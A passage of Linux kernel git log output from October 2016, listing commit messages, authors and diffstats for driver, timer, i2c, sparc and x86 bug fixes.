http://patchwork.freedesktop.org/patch/msgid/20161025212808.3908-1-chris@chris-wilson.co.uk drivers/gpu/drm/drm_atomic.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 2925d366f450dc1db0ac88f2509a0eec0fef4226 Author: Stephen Boyd Date: Mon Oct 17 17:16:02 2016 -0700 extcon: qcom-spmi-misc: Sync the extcon state on interrupt The driver was changed after submission to use the new style APIs like extcon_set_state(). Unfortunately, that only sets the state, and doesn't notify any consumers that the cable state has changed. Use extcon_set_state_sync() here instead so that we notify cable consumers of the state change. This fixes USB host-device role switching on the db8074 platform. Fixes: 38085c987f52 ("extcon: Add support for qcom SPMI PMIC USB id detection hardware") Signed-off-by: Stephen Boyd Signed-off-by: Chanwoo Choi drivers/extcon/extcon-qcom-spmi-misc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c1aa67729a1d94373fb9826fef97b8a2b7f2e00f Merge: b760323 991d5ad Author: Greg Kroah-Hartman Date: Wed Oct 26 08:59:32 2016 +0200 Merge tag 'usb-ci-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/peter.chen/usb into usb-linus Peter writes: Fix for kernel panic during the system reboot for some boards commit 7cf321d118a825c1541b43ca45294126fd474efa Author: Dave Airlie Date: Mon Oct 24 15:37:48 2016 +1000 drm/drivers: add support for using the arch wc mapping API. This fixes a regression in all these drivers since the cache mode tracking was fixed for mixed mappings. It uses the new arch API to add the VRAM range to the PAT mapping tracking tables. Fixes: 87744ab3832 (mm: fix cache mode tracking in vm_insert_mixed()) Reviewed-by: Christian König . Signed-off-by: Dave Airlie drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 5 +++++ drivers/gpu/drm/ast/ast_ttm.c | 6 ++++++ drivers/gpu/drm/cirrus/cirrus_ttm.c | 7 +++++++ drivers/gpu/drm/mgag200/mgag200_ttm.c | 7 +++++++ drivers/gpu/drm/nouveau/nouveau_ttm.c | 8 ++++++++ drivers/gpu/drm/radeon/radeon_object.c | 5 +++++ 6 files changed, 38 insertions(+) commit b4f7f4ad425a84fd5d40da21aff8681997b25ff9 Author: Jani Nikula Date: Fri Oct 21 15:57:23 2016 +0300 mac80211: fix some sphinx warnings Signed-off-by: Jani Nikula Signed-off-by: Johannes Berg include/net/mac80211.h | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit e1957dba5b54b9c9b1d16f9d5f3f8d41d82bee41 Author: Johannes Berg Date: Wed Oct 26 07:56:59 2016 +0200 cfg80211: process events caused by suspend before suspending When suspending without WoWLAN, cfg80211 will ask drivers to disconnect. Even when the driver does this synchronously, and immediately returns with a notification, cfg80211 schedules the handling thereof to a workqueue, and may then call back into the driver when the driver was already suspended/ing. Fix this by processing all events caused by cfg80211_leave_all() directly after that function returns. The driver still needs to do the right thing here and wait for the firmware response, but that is - at least - true for mwifiex where this occurred. Reported-by: Amitkumar Karwar Tested-by: Amitkumar Karwar Signed-off-by: Johannes Berg net/wireless/sysfs.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 8ef4227615e158faa4ee85a1d6466782f7e22f2f Author: Dave Airlie Date: Mon Oct 24 15:27:59 2016 +1000 x86/io: add interface to reserve io memtype for a resource range. (v1.1) A recent change to the mm code in: 87744ab3832b mm: fix cache mode tracking in vm_insert_mixed() started enforcing checking the memory type against the registered list for amixed pfn insertion mappings. It happens that the drm drivers for a number of gpus relied on this being broken. Currently the driver only inserted VRAM mappings into the tracking table when they came from the kernel, and userspace mappings never landed in the table. This led to a regression where all the mapping end up as UC instead of WC now. I've considered a number of solutions but since this needs to be fixed in fixes and not next, and some of the solutions were going to introduce overhead that hadn't been there before I didn't consider them viable at this stage. These mainly concerned hooking into the TTM io reserve APIs, but these API have a bunch of fast paths I didn't want to unwind to add this to. The solution I've decided on is to add a new API like the arch_phys_wc APIs (these would have worked but wc_del didn't take a range), and use them from the drivers to add a WC compatible mapping to the table for all VRAM on those GPUs. This means we can then create userspace mapping that won't get degraded to UC. v1.1: use CONFIG_X86_PAT + add some comments in io.h Cc: Toshi Kani Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Andy Lutomirski Cc: Denys Vlasenko Cc: Brian Gerst Cc: x86@kernel.org Cc: mcgrof@suse.com Cc: Dan Williams Acked-by: Ingo Molnar Reviewed-by: Thomas Gleixner Signed-off-by: Dave Airlie arch/x86/include/asm/io.h | 6 ++++++ arch/x86/mm/pat.c | 14 ++++++++++++++ include/linux/io.h | 22 ++++++++++++++++++++++ 3 files changed, 42 insertions(+) commit 849c498766060a16aad5b0e0d03206726e7d2fa4 Author: David S. Miller Date: Tue Oct 25 19:43:17 2016 -0700 sparc64: Handle extremely large kernel TSB range flushes sanely. If the number of pages we are flushing is more than twice the number of entries in the TSB, just scan the TSB table for matches rather than probing each and every page in the range. Based upon a patch and report by James Clarke. Signed-off-by: David S. Miller arch/sparc/mm/tsb.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 9d9fa230206a3aea6ef451646c97122f04777983 Author: James Clarke Date: Mon Oct 24 19:49:25 2016 +0100 sparc: Handle negative offsets in arch_jump_label_transform Additionally, if the offset will overflow the immediate for a ba,pt instruction, fall back on a standard ba to get an extra 3 bits. Signed-off-by: James Clarke Signed-off-by: David S. Miller arch/sparc/kernel/jump_label.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) commit a467a672cf097ec11332a9b22db6e31d3ef50359 Author: Rusty Russell Date: Wed Oct 26 10:07:44 2016 +1030 MAINTAINERS: Begin module maintainer transition Being a Linux kernel maintainer has been my proudest professional accomplishment, spanning the last 19 years. But now we have a surfeit of excellent hackers, and I can hand this over without regret. I'll still be around as co-maintainer for another cycle, but Jessica is now the one to convince if you want your patches applied. She rocks, and is far more timely than me too! Signed-off-by: Rusty Russell Acked-by: Jessica Yu MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit b429ae4d5b565a71dfffd759dfcd4f6c093ced94 Author: David S. Miller Date: Tue Oct 25 16:23:26 2016 -0700 sparc64: Fix illegal relative branches in hypervisor patched TLB code. When we copy code over to patch another piece of code, we can only use PC-relative branches that target code within that piece of code. Such PC-relative branches cannot be made to external symbols because the patch moves the location of the code and thus modifies the relative address of external symbols. Use an absolute jmpl to fix this problem. Signed-off-by: David S. Miller arch/sparc/mm/ultra.S | 65 ++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 51 insertions(+), 14 deletions(-) commit 537b4b462caa8bfb9726d9695b8e56e2d5e6b41e Author: Lucas Stach Date: Mon Oct 24 23:32:04 2016 +0200 drm/radeon: drop register readback in cayman_cp_int_cntl_setup The read is taking a considerable amount of time (about 50us on this machine). The register does not ever hold anything other than the ring ID that is updated in this exact function, so there is no need for the read modify write cycle. This chops off a big chunk of the time spent in hardirq disabled context, as this function is called multiple times in the interrupt handler. With this change applied radeon won't show up in the list of the worst IRQ latency offenders anymore, where it was a regular before. Reviewed-by: Christian König Signed-off-by: Lucas Stach Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/ni.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit ef6239e0cf5e665e7b20fd659678b98331b3081d Author: Alex Deucher Date: Tue Oct 25 09:37:37 2016 -0400 drm/amdgpu/vce3: only enable 3 rings on new enough firmware (v2) Older firmware versions don't support 3 rings. fixes: https://bugs.freedesktop.org/show_bug.cgi?id=98016 v2: use define for fw version Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 Author: Arnd Bergmann Date: Mon Oct 24 17:22:01 2016 +0200 staging: iio: ad5933: avoid uninitialized variable in error case The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug: drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work': drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds minimal error handling so we only evaluate the data if it was correctly read. Link: https://patchwork.kernel.org/patch/8110281/ Signed-off-by: Arnd Bergmann Acked-by: Lars-Peter Clausen Cc: Signed-off-by: Jonathan Cameron drivers/staging/iio/impedance-analyzer/ad5933.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 0ce57f8af1782fd12d3a81872a4ab97244989802 Author: Christoph Hellwig Date: Tue Oct 25 14:04:34 2016 +0200 ahci: fix the single MSI-X case in ahci_init_one We need to make sure hpriv->irq is set properly if we don't use per-port vectors, so switch from blindly assigning pdev->irq to using pci_irq_vector, which handles all interrupt types correctly. Signed-off-by: Christoph Hellwig Reported-by: Robert Richter Tested-by: Robert Richter Tested-by: David Daney Fixes: 0b9e2988ab22 ("ahci: use pci_alloc_irq_vectors") Signed-off-by: Tejun Heo drivers/ata/ahci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6bad6bccf2d717f652d37e63cf261eaa23466009 Author: Thomas Gleixner Date: Sat Oct 22 11:07:37 2016 +0000 timers: Prevent base clock corruption when forwarding When a timer is enqueued we try to forward the timer base clock. This mechanism has two issues: 1) Forwarding a remote base unlocked The forwarding function is called from get_target_base() with the current timer base lock held. But if the new target base is a different base than the current base (can happen with NOHZ, sigh!) then the forwarding is done on an unlocked base. This can lead to corruption of base->clk. Solution is simple: Invoke the forwarding after the target base is locked. 2) Possible corruption due to jiffies advancing This is similar to the issue in get_net_timer_interrupt() which was fixed in the previous patch. jiffies can advance between check and assignement and therefore advancing base->clk beyond the next expiry value. So we need to read jiffies into a local variable once and do the checks and assignment with the local copy. Fixes: a683f390b93f("timers: Forward the wheel clock whenever possible") Reported-by: Ashton Holmes Reported-by: Michael Thayer Signed-off-by: Thomas Gleixner Cc: Michal Necasek Cc: Peter Zijlstra Cc: knut.osmundsen@oracle.com Cc: stable@vger.kernel.org Cc: stern@rowland.harvard.edu Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20161022110552.253640125@linutronix.de Signed-off-by: Thomas Gleixner kernel/time/timer.c | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) commit 041ad7bc758db259bb960ef795197dd14aab19a6 Author: Thomas Gleixner Date: Sat Oct 22 11:07:35 2016 +0000 timers: Prevent base clock rewind when forwarding clock Ashton and Michael reported, that kernel versions 4.8 and later suffer from USB timeouts which are caused by the timer wheel rework. This is caused by a bug in the base clock forwarding mechanism, which leads to timers expiring early. The scenario which leads to this is: run_timers() while (jiffies >= base->clk) { collect_expired_timers(); base->clk++; expire_timers(); } So base->clk = jiffies + 1. Now the cpu goes idle: idle() get_next_timer_interrupt() nextevt = __next_time_interrupt(); if (time_after(nextevt, base->clk)) base->clk = jiffies; jiffies has not advanced since run_timers(), so this assignment effectively decrements base->clk by one. base->clk is the index into the timer wheel arrays. So let's assume the following state after the base->clk increment in run_timers(): jiffies = 0 base->clk = 1 A timer gets enqueued with an expiry delta of 63 ticks (which is the case with the USB timeout and HZ=250) so the resulting bucket index is: base->clk + delta = 1 + 63 = 64 The timer goes into the first wheel level. The array size is 64 so it ends up in bucket 0, which is correct as it takes 63 ticks to advance base->clk to index into bucket 0 again. If the cpu goes idle before jiffies advance, then the bug in the forwarding mechanism sets base->clk back to 0, so the next invocation of run_timers() at the next tick will index into bucket 0 and therefore expire the timer 62 ticks too early. Instead of blindly setting base->clk to jiffies we must make the forwarding conditional on jiffies > base->clk, but we cannot use jiffies for this as we might run into the following issue: if (time_after(jiffies, base->clk) { if (time_after(nextevt, base->clk)) base->clk = jiffies; jiffies can increment between the check and the assigment far enough to advance beyond nextevt. So we need to use a stable value for checking. get_next_timer_interrupt() has the basej argument which is the jiffies value snapshot taken in the calling code. So we can just that. Thanks to Ashton for bisecting and providing trace data! Fixes: a683f390b93f ("timers: Forward the wheel clock whenever possible") Reported-by: Ashton Holmes Reported-by: Michael Thayer Signed-off-by: Thomas Gleixner Cc: Michal Necasek Cc: Peter Zijlstra Cc: knut.osmundsen@oracle.com Cc: stable@vger.kernel.org Cc: stern@rowland.harvard.edu Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20161022110552.175308322@linutronix.de Signed-off-by: Thomas Gleixner kernel/time/timer.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 4da9152a4308dcbf611cde399c695c359fc9145f Author: Thomas Gleixner Date: Mon Oct 24 11:55:10 2016 +0200 timers: Lock base for same bucket optimization Linus stumbled over the unlocked modification of the timer expiry value in mod_timer() which is an optimization for timers which stay in the same bucket - due to the bucket granularity - despite their expiry time getting updated. The optimization itself still makes sense even if we take the lock, because in case that the bucket stays the same, we avoid the pointless queue/enqueue dance. Make the check and the modification of timer->expires protected by the base lock and shuffle the remaining code around so we can keep the lock held when we actually have to requeue the timer to a different bucket. Fixes: f00c0afdfa62 ("timers: Implement optimization for same expiry time in mod_timer()") Reported-by: Linus Torvalds Signed-off-by: Thomas Gleixner Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1610241711220.4983@nanos Cc: stable@vger.kernel.org Cc: Andrew Morton Cc: Peter Zijlstra kernel/time/timer.c | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) commit b831275a3553c32091222ac619cfddd73a5553fb Author: Thomas Gleixner Date: Mon Oct 24 11:41:56 2016 +0200 timers: Plug locking race vs. timer migration Linus noticed that lock_timer_base() lacks a READ_ONCE() for accessing the timer flags. As a consequence the compiler is allowed to reload the flags between the initial check for TIMER_MIGRATION and the following timer base computation and the spin lock of the base. While this has not been observed (yet), we need to make sure that it never happens. Fixes: 0eeda71bc30d ("timer: Replace timer base by a cpu index") Reported-by: Linus Torvalds Signed-off-by: Thomas Gleixner Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1610241711220.4983@nanos Cc: stable@vger.kernel.org Cc: Andrew Morton Cc: Peter Zijlstra kernel/time/timer.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 9b50898ad96c793a8f7cde9d8f281596d752a7dd Author: Takashi Iwai Date: Tue Oct 25 15:56:35 2016 +0200 ALSA: seq: Fix time account regression The recent rewrite of the sequencer time accounting using timespec64 in the commit [3915bf294652: ALSA: seq_timer: use monotonic times internally] introduced a bad regression. Namely, the time reported back doesn't increase but goes back and forth. The culprit was obvious: the delta is stored to the result (cur_time = delta), instead of adding the delta (cur_time += delta)! Let's fix it. Fixes: 3915bf294652 ('ALSA: seq_timer: use monotonic times internally') Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=177571 Reported-by: Yves Guillemot Cc: # v4.8+ Signed-off-by: Takashi Iwai sound/core/seq/seq_timer.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b7f865ede20c87073216f77fe97f6fc56666e3da Author: Icenowy Zheng Date: Tue Oct 25 01:08:31 2016 +0800 ARM: dts: sun8i: fix the pinmux for UART1 When the patch is applied, the allwinner,driver and allwinner,pull properties are removed. Although they're described to be optional in the devicetree binding, without them, the pinmux cannot be initialized, and the uart cannot be used. Add them back to fix the problem, and makes the bluetooth on iNet D978 Rev2 board work. Fixes: 82eec384249f (ARM: dts: sun8i: add pinmux for UART1 at PG) Signed-off-by: Icenowy Zheng Signed-off-by: Maxime Ripard arch/arm/boot/dts/sun8i-a23-a33.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit 533169d164c6b4c8571d0d48779f6ff6be593d72 Author: Stefan Agner Date: Mon Sep 26 17:18:58 2016 -0700 i2c: imx: defer probe if bus recovery GPIOs are not ready Some SoC might load the GPIO driver after the I2C driver and using the I2C bus recovery mechanism via GPIOs. In this case it is crucial to defer probing if the GPIO request functions do so, otherwise the I2C driver gets loaded without recovery mechanisms enabled. Signed-off-by: Stefan Agner Acked-by: Uwe Kleine-König Acked-by: Li Yang Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/busses/i2c-imx.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 171e23e150acfb285f1772cedf04d35694af740b Author: Jarkko Nikula Date: Thu Sep 29 16:04:59 2016 +0300 i2c: designware: Avoid aborted transfers with fast reacting I2C slaves I2C DesignWare may abort transfer with arbitration lost if I2C slave pulls SDA down quickly after falling edge of SCL. Reason for this is unknown but after trial and error it was found this can be avoided by enabling non-zero SDA RX hold time for the receiver. By the specification SDA RX hold time extends incoming SDA low to high transition by n * ic_clk cycles but only when SCL is high. However it seems to help avoid above faulty arbitration lost error. Bits 23:16 in IC_SDA_HOLD register define the SDA RX hold time for the receiver. Be conservative and enable 1 ic_clk cycle long hold time in case boot firmware hasn't set it up. Reported-by: Jukka Laitinen Signed-off-by: Jarkko Nikula Tested-by: Jukka Laitinen Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-designware-core.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit ba9ad2af7019956b990ad654c56da5bac1e8b71b Author: Jean Delvare Date: Tue Oct 11 13:13:27 2016 +0200 i2c: i801: Fix I2C Block Read on 8-Series/C220 and later Starting with the 8-Series/C220 PCH (Lynx Point), the SMBus controller includes a SPD EEPROM protection mechanism. Once the SPD Write Disable bit is set, only reads are allowed to slave addresses 0x50-0x57. However the legacy implementation of I2C Block Read since the ICH5 looks like a write, and is therefore blocked by the SPD protection mechanism. This causes the eeprom and at24 drivers to fail. So assume that I2C Block Read is implemented as an actual read on these chipsets. I tested it on my Q87 chipset and it seems to work just fine. Signed-off-by: Jean Delvare Tested-by: Jarkko Nikula [wsa: rebased to v4.9-rc2] Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-i801.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 603616017c35f4d0fbdbcace72adf9bf949c4a65 Author: Hoan Tran Date: Mon Oct 10 10:13:10 2016 -0700 i2c: xgene: Avoid dma_buffer overrun SMBus block command uses the first byte of buffer for the data length. The dma_buffer should be increased by 1 to avoid the overrun issue. Reported-by: Phil Endecott Signed-off-by: Hoan Tran Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/busses/i2c-xgene-slimpro.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 60a951af8e1656e2a17a96d64941aafe0668d750 Author: Javier Martinez Canillas Date: Tue Oct 18 18:01:48 2016 -0300 i2c: digicolor: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Signed-off-by: Javier Martinez Canillas Acked-by: Baruch Siach Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-digicolor.c | 1 + 1 file changed, 1 insertion(+) commit 2cb496db3d56baa86d53022044c4d25ffe7fa038 Author: Javier Martinez Canillas Date: Tue Oct 18 18:01:47 2016 -0300 i2c: xlr: Fix module autoload for OF registration If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Signed-off-by: Javier Martinez Canillas Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-xlr.c | 1 + 1 file changed, 1 insertion(+) commit 06e7b10a8711d10b4c4c21ab1aac3f1529a084df Author: Javier Martinez Canillas Date: Tue Oct 18 18:01:46 2016 -0300 i2c: xlp9xx: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Signed-off-by: Javier Martinez Canillas Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-xlp9xx.c | 1 + 1 file changed, 1 insertion(+) commit 3855ada848dbdbeae39fcf9eaaf6a7678315f153 Author: Javier Martinez Canillas Date: Tue Oct 18 18:01:45 2016 -0300 i2c: jz4780: Fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled. So user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Signed-off-by: Javier Martinez Canillas Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-jz4780.c | 1 + 1 file changed, 1 insertion(+) commit 17791650c356b3cb220946d697d89afc1e32c315 Author: Greg Ungerer Date: Mon Oct 17 11:54:05 2016 +1000 i2c: allow configuration of imx driver for ColdFire architecture The i2c controller used by Freescales iMX processors is the same hardware module used on Freescales ColdFire family of processors. We can use the existing i2c-imx driver on ColdFire family members. Modify the configuration to allow it to be selected when compiling for ColdFire targets. Signed-off-by: Greg Ungerer Signed-off-by: Wolfram Sang drivers/i2c/busses/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6a676fb69dcbf3310b9e462c1db66c8e7f6ead38 Author: Ralf Ramsauer Date: Mon Oct 17 15:59:57 2016 +0200 i2c: mark device nodes only in case of successful instantiation Instantiated I2C device nodes are marked with OF_POPULATE. This was introduced in 4f001fd30145a6. On unloading, loaded device nodes will of course be unmarked. The problem are nodes that fail during initialisation: If a node fails, it won't be unloaded and hence not be unmarked. If a I2C driver module is unloaded and reloaded, it will skip nodes that failed before. Skip device nodes that are already populated and mark them only in case of success. Fixes: 4f001fd30145a6 ("i2c: Mark instantiated device nodes with OF_POPULATE") Signed-off-by: Ralf Ramsauer Reviewed-by: Geert Uytterhoeven Acked-by: Pantelis Antoniou [wsa: use 14-digit commit sha] Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/i2c-core.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit d320b9a5bd85f6178cc3ed8b0a1a9960f2b5bc7b Author: Arnd Bergmann Date: Mon Oct 24 17:33:18 2016 +0200 x86/quirks: Hide maybe-uninitialized warning gcc -Wmaybe-uninitialized detects that quirk_intel_brickland_xeon_ras_cap uses uninitialized data when CONFIG_PCI is not set: arch/x86/kernel/quirks.c: In function ‘quirk_intel_brickland_xeon_ras_cap’: arch/x86/kernel/quirks.c:641:13: error: ‘capid0’ is used uninitialized in this function [-Werror=uninitialized] However, the function is also not called in this configuration, so we can avoid the warning by moving the existing #ifdef to cover it as well. Signed-off-by: Arnd Bergmann Cc: Bjorn Helgaas Cc: Borislav Petkov Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Tony Luck Cc: linux-pci@vger.kernel.org Link: http://lkml.kernel.org/r/20161024153325.2752428-1-arnd@arndb.de Signed-off-by: Ingo Molnar arch/x86/kernel/quirks.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a2209b742e6cf978b85d4f31a25a269c3d3b062b Author: Jan Beulich Date: Mon Oct 24 09:00:12 2016 -0600 x86/build: Fix build with older GCC versions Older GCC (observed with 4.1.x) doesn't support -Wno-override-init and also doesn't ignore unknown -Wno-* options. Signed-off-by: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Valdis Kletnieks Cc: Valdis.Kletnieks@vt.edu Fixes: 5e44258d16 "x86/build: Reduce the W=1 warnings noise when compiling x86 syscall tables" Link: http://lkml.kernel.org/r/580E3E1C02000078001191C4@prv-mh.provo.novell.com Signed-off-by: Ingo Molnar arch/x86/entry/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7fbe6ac02485504b964b283aca62b36b4313ca79 Author: Josh Poimboeuf Date: Mon Oct 24 08:31:27 2016 -0500 x86/unwind: Fix empty stack dereference in guess unwinder Vince Waver reported the following bug: WARNING: CPU: 0 PID: 21338 at arch/x86/mm/fault.c:435 vmalloc_fault+0x58/0x1f0 CPU: 0 PID: 21338 Comm: perf_fuzzer Not tainted 4.8.0+ #37 Hardware name: Hewlett-Packard HP Compaq Pro 6305 SFF/1850, BIOS K06 v02.57 08/16/2013 Call Trace: ? dump_stack+0x46/0x59 ? __warn+0xd5/0xee ? vmalloc_fault+0x58/0x1f0 ? __do_page_fault+0x6d/0x48e ? perf_log_throttle+0xa4/0xf4 ? trace_page_fault+0x22/0x30 ? __unwind_start+0x28/0x42 ? perf_callchain_kernel+0x75/0xac ? get_perf_callchain+0x13a/0x1f0 ? perf_callchain+0x6a/0x6c ? perf_prepare_sample+0x71/0x2eb ? perf_event_output_forward+0x1a/0x54 ? __default_send_IPI_shortcut+0x10/0x2d ? __perf_event_overflow+0xfb/0x167 ? x86_pmu_handle_irq+0x113/0x150 ? native_read_msr+0x6/0x34 ? perf_event_nmi_handler+0x22/0x39 ? perf_ibs_nmi_handler+0x4a/0x51 ? perf_event_nmi_handler+0x22/0x39 ? nmi_handle+0x4d/0xf0 ? perf_ibs_handle_irq+0x3d1/0x3d1 ? default_do_nmi+0x3c/0xd5 ? do_nmi+0x92/0x102 ? end_repeat_nmi+0x1a/0x1e ? entry_SYSCALL_64_after_swapgs+0x12/0x4a ? entry_SYSCALL_64_after_swapgs+0x12/0x4a ? entry_SYSCALL_64_after_swapgs+0x12/0x4a ^A4---[ end trace 632723104d47d31a ]--- BUG: stack guard page was hit at ffffc90008500000 (stack is ffffc900084fc000..ffffc900084fffff) kernel stack overflow (page fault): 0000 [#1] SMP ... The NMI hit in the entry code right after setting up the stack pointer from 'cpu_current_top_of_stack', so the kernel stack was empty. The 'guess' version of __unwind_start() attempted to dereference the "top of stack" pointer, which is not actually *on* the stack. Add a check in the guess unwinder to deal with an empty stack. (The frame pointer unwinder already has such a check.) Reported-by: Vince Weaver Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Arnaldo Carvalho de Melo Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 7c7900f89770 ("x86/unwind: Add new unwind interface and implementations") Link: http://lkml.kernel.org/r/20161024133127.e5evgeebdbohnmpb@treble Signed-off-by: Ingo Molnar arch/x86/kernel/unwind_guess.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 399c168ab5ab5e12ed55b6c91d61c24eb84c9164 Author: David Wu Date: Sat Oct 22 16:43:42 2016 +0800 i2c: rk3x: Give the tuning value 0 during rk3x_i2c_v0_calc_timings We found a bug that i2c transfer sometimes failed on 3066a board with stabel-4.8, the con register would be updated by uninitialized tuning value, it made the i2c transfer failed. So give the tuning value to be zero during rk3x_i2c_v0_calc_timings. Signed-off-by: David Wu Tested-by: Andy Yan Reviewed-by: Douglas Anderson Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/busses/i2c-rk3x.c | 2 ++ 1 file changed, 2 insertions(+) commit ae824f00241f495e8d55ebdc0341f3ce61a77da6 Author: Ruqiang Ju Date: Mon Oct 24 16:39:49 2016 +0800 i2c: hix5hd2: allow build with ARCH_HISI This driver should be buildable with ARCH_HISI, because some of other HiSilicon SoCs also use it. Signed-off-by: Ruqiang Ju Signed-off-by: Wolfram Sang drivers/i2c/busses/Kconfig | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 45c7a4908a307a023e237a64a3eadcafc4836493 Author: Jaehoon Chung Date: Fri Oct 21 19:57:57 2016 +0900 mmc: dw_mmc-pltfm: fix the potential NULL pointer dereference platform_get_resource can be returned the NULL pointer. Then regs->start should be referred to NULL Pointer. devm_ioremap_resource() checks whether res is NULL or not. Signed-off-by: Jaehoon Chung Reviewed-by: Shawn Lin Cc: stable@vger.kernel.org Signed-off-by: Ulf Hansson drivers/mmc/host/dw_mmc-pltfm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 991d5add50a5bb6ab8f12f2129f5c7487f6baaf6 Author: Stefan Wahren Date: Sat Sep 10 12:53:21 2016 +0000 usb: chipidea: host: fix NULL ptr dereference during shutdown After commit b09b5224fe86 ("usb: chipidea: implement platform shutdown callback") and commit 43a404577a93 ("usb: chipidea: host: set host to be null after hcd is freed") a NULL pointer dereference is caused on i.MX23 during shutdown. So ensure that role is set to CI_ROLE_END and we finish interrupt handling before the hcd is deallocated. This avoids the NULL pointer dereference. Suggested-by: Alan Stern Signed-off-by: Stefan Wahren Fixes: b09b5224fe86 ("usb: chipidea: implement platform shutdown callback") Signed-off-by: Peter Chen drivers/usb/chipidea/host.c | 2 ++ 1 file changed, 2 insertions(+) commit 1a3f099101b85cc93d864eb030d97e7725c72ea7 Author: Takashi Iwai Date: Thu Oct 20 12:14:51 2016 +0200 ALSA: hda - Fix surround output pins for ASRock B150M mobo ASRock B150M Pro4/D3 mobo with ALC892 codec doesn't seem to provide proper pins for the surround outputs, hence we need to specify the pincfgs manually with a couple of other corrections. Reported-and-tested-by: Benjamin Valentin Cc: Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 407a3aee6ee2d2cb46d9ba3fc380bc29f35d020c Author: Long Li Date: Wed Oct 5 16:57:46 2016 -0700 hv: do not lose pending heartbeat vmbus packets The host keeps sending heartbeat packets independent of the guest responding to them. Even though we respond to the heartbeat messages at interrupt level, we can have situations where there maybe multiple heartbeat messages pending that have not been responded to. For instance this occurs when the VM is paused and the host continues to send the heartbeat messages. Address this issue by draining and responding to all the heartbeat messages that maybe pending. Signed-off-by: Long Li Signed-off-by: K. Y. Srinivasan CC: Stable Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_util.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 9fe68cad6e74967b88d0c6aeca7d9cd6b6e91942 Merge: b5cd891 6d4952d Author: Linus Torvalds Date: Mon Oct 24 21:34:13 2016 -0700 Merge branch 'linus' of git://git.kernel.org/pub/scm/linux/kernel/git/herbert/crypto-2.6 Pull crypto fix from Herbert Xu: "This fixes a regression caused by the stack vmalloc change" * 'linus' of 